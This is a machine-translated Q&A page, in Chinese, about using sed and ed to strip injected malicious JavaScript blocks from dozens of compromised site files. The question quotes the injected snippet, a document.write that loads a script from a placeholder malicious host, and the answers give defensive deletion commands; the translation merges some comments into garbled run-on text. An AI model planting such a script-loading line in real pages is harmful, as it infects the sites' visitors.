Sed 如何从文本文件中删除多行,包括匹配的行?

Sed 如何从文本文件中删除多行,包括匹配的行?,sed,centos,pattern-matching,Sed,Centos,Pattern Matching,我发现一些恶意JavaScript插入到几十个文件中 恶意代码如下所示: /*123456*/ document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>'); /*/123456*/ 但我需要删除前一行,后两行,而且至少在几十个文件中 因此,我想我可以使用grep-lr查找文件名,然后将每个文件名传递给

我发现一些恶意JavaScript插入到几十个文件中

恶意代码如下所示:

/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');

/*/123456*/
但我需要删除前一行,后两行,而且至少在几十个文件中

因此,我想我可以使用grep-lr查找文件名,然后将每个文件名传递给
sed
,并以某种方式删除匹配行,以及前后两行(总共4行)。要匹配的模式可以是
“\n*\n合法URL\n\n*\n”

我也尝试了这个,尝试用空字符串替换模式。
*
是开始/结束标记中的十六进制数,也是标记之间的内容

sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js

您需要在开始和结束注释上进行匹配,而不是在
文档上进行匹配。请编写
行:

sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'
这将使用
%
符号代替更普通的
/
来界定模式,当模式包含斜线且不包含
%
符号时,这通常是一个好主意。前导的
\
告诉
sed
以下字符是模式分隔符。您可以使用任何字符(反斜杠或换行除外)代替
%
;控制是另一个很好的考虑。

从Mac OS X上的
sed
手册:

在上下文地址中,除反斜杠(“
\
”)或换行符以外的任何字符 字符可用于分隔正则表达式。此外,将反斜杠字符放在定界字符之前会导致字符被删除 按字面意思处理。例如,在上下文地址
\xabc\xdefx
中 分隔符是一个“
x
”,第二个“
x
”代表它自己,因此正则表达式是“
abcxdef

现在,如果事实上您的模式没有示例中显示的
/*123456*/
那么容易识别,那么您可能被迫关闭恶意URL。但是,在这种情况下,您不能很容易地使用
sed
;它不能进行相对偏移(
/x/+1
是不允许的,更不用说
/x/-1
)。此时,您可能会求助于
ed
(或者
ex
):


ed-$file您的模式以
\%
开头。你是在逃避百分比吗?在我看到你的答案之前,我尝试了类似的方法,使用
~
作为分隔符,但没有成功:
sed-I的~/\***/\*/\*/\*/\*/\*/~~g'test.js
还注意到恶意代码似乎被添加到了每个文件的底部。而且它并不总是相同的“123456”。事实上,我认为它们是十六进制数字。我发现了一些类似的命令:“028b70”我尝试了您的
sed-e
命令,但我用
*
替换了“123456”。它似乎已经删除了恶意的结束标记,但没有其他。这些细节是重要的信息;它们实质上影响了答案。我已经引用了手册中的一段话来说明
\%
符号。您的正则表达式与内容不匹配。如果文件中没有任何其他内容使用C样式的注释,那么您可以使用
s~/\*.\*/~
删除before注释。您需要区分shell
*
globbing和正则表达式
*
,这意味着我看到的regex.ahhh中有0个或多个前面的术语。我不能单独使用
*
。它必须附在某物上。我可以使用
[hex]*
或类似的东西吗?
sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'
ed - $file <<'EOF'
g/maliciousurl.com/.-1,.+2d
w
q
EOF